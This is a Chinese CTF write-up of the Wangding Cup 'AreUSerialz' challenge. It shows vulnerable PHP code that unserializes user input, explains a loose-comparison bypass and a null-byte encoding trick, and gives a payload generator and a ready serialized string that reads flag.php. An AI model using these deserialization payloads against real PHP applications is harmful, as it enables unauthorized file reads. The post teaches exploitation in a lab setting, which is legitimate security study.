網鼎杯 AreUSerialz反序列化題目

看了網鼎杯 AreUSerialz反序列化題目wp
對php的反序列化又有了學到了新的知識點,之前都沒注意到

標題題目是這樣的:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

   protected $op;

   protected $filename;

   protected $content;

   function __construct() {

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();   

    }
    public function process() {

        if($this->op == "1") {

            $this->write();       

        } else if($this->op == "2") {

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }
    }
    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }



    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        $this->process();

    }
}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);
    }
}

簡單看下代碼,反序列化漏洞
protect裏面可控

主要是繞過 is_vaild 函數,它規定了序列化內容中只能包含ascii可見字符

還有因爲在進行read()之前就會調用__destruct()魔術方法
__destruct()方法內使用了嚴格相等 this->op === “2” process()
方法內使用了else if ( this->op == “2”)
所以這裏使用弱類型2 == "2"繞過

第一種解法

出題用的php版本比較高,public屬性可以覆蓋替代protected

<?php
class FileHandler {
    public $op = 2;
    public $filename = "flag.php";
    public $content = "zeo";
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
$a = new FileHandler();
$b = serialize($a);

var_dump(is_valid($b));
print_r($b);

在這裏插入圖片描述

在這裏插入圖片描述

第二種解法

下面P牛之前的解釋

PHP序列化的時候private和protected變量會引入不可見字符\x00,輸出和複製的時候可能會遺失這些信息,導致反序列化的時候出錯。

private屬性序列化的時候會引入兩個\x00,注意這兩個\x00就是ascii碼爲0的字符。這個字符顯示和輸出可能看不到,甚至導致截斷,如圖1,url編碼後就可以看得很清楚了。
同理,protected屬性會引入\x00*\x00。

此時,爲了更加方便進行反序列化Payload的傳輸與顯示,我們可以在序列化內容中用大寫S表示字符串,此時這個字符串就支持將後面的字符串用16進製表示。比如s:5:“A<null_byte>B”;̀ -> S:5:“A\00B\09\0D”;

把序列號後的s變成S就可以了,裏面的字符就可以正常

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loecho";}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章